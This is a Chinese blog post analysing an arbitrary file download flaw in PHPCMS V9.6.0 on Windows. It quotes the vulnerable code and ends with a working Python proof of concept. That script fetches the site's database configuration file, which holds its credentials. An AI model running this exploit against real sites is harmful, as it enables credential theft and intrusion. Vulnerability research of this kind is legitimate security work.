PHPCMS V9 任意文件下載(Windows)


 

 

先來看看PHPCMS V9.6.0的任意下載

 

還是和上次的注入一樣,是個由parse_str() 函數引發的變量覆蓋。

 位於 /phpv9.6.0/phpcms/modules/content/down.php 的init() 函數  第11-82行

先是獲取$a_k = trim($_GET['a_k']);  跟注入分析的時候一樣就不多bb了,

 

參數f就是要下載的文件值,繼續執行,當遇到p72行

if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error')); 

可以看到利用黑名單的策略,但是在windows下有個坑。文章(http://www.jinglingshu.org/?p=8790

對於ph> ,在windows下得到的結果和php一樣,這種特性造成了繞過,使得服務器上的文件得以下載。(我用的是mac,所以測試這個漏洞的時候,手動刪除了php這個關鍵字來測試漏洞。)

接着繼續跟進:

		if(preg_match('/(phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
		if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
			$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
			$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
			$downurl = '?m=content&c=down&a=download&a_k='.$a_k;
		} else {
			$downurl = $f;			
		}

  下面有個if的判斷,如果在$f中存在 http://,ftp:// 這些字符串 ,將返回TURE,如果存在 :\\ 字符串,將返回FALSE,但他用|| 連接而成,只要有一個TURE就能執行下面的內容。感覺這里可以放遠程文件,沒驗證。(這里沒驗證,在download里面驗證了)

接着就是對$a_l的值進行加密,返回$downurl。  當你點擊下載的時候,觸發download函數,

 

這時候的&a_k值是init()函數提供的,

if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false))

  在106行的時候發現這句,對遠程文件有個驗證,如果存在:/這個字符串,就返回location:的內容 ,不進行后面的文件下載了。所以這里不能用遠程文件,只能用相對路徑。

 

最后進行到file_down()函數里面,位於 /phpv9.6.0/phpcms/libs/functions/global.func.php  第1195-1204行

讀取$fulepath的內容,結束。

 

測試的時候有個坑,在windows中,windows把\ /當成了目錄,但linux,對於\/並不會把他當做\。

參考url:

https://www.seebug.org/vuldb/ssvid-92959

http://www.jinglingshu.org/?p=8790

 

poc:基於上次的修改下payload,湊合着用

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = i@cdxy.me



import requests
import re
from urllib import quote

TIMEOUT = 3




def poc(url):

    payload = "%26id%3D1%26m%3D1%26f%3Dcaches%252fconfigs%252fdatabase.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26"

    cookies = {}
    step1 = '{}/index.php?m=wap&a=index&siteid=1'.format(url)
    for c in requests.get(step1, timeout=TIMEOUT).cookies:
        if c.name[-7:] == '_siteid':
            cookie_head = c.name[:6]
            cookies[cookie_head + '_userid'] = c.value
            cookies[c.name] = c.value
            break
    else:
        return False

    step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}".format(url, quote(payload))
    for c in requests.get(step2, cookies=cookies, timeout=TIMEOUT).cookies:
        if c.name[-9:] == '_att_json':
            enc_payload = c.value
            break
    else:
        return False

    setp3 = url + '/index.php?m=content&c=down&a_k=' + enc_payload
    r = requests.get(setp3, cookies=cookies, timeout=TIMEOUT)
    print r.content

print poc('http://phpstudy.com/phpv9.6.0/')

  

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM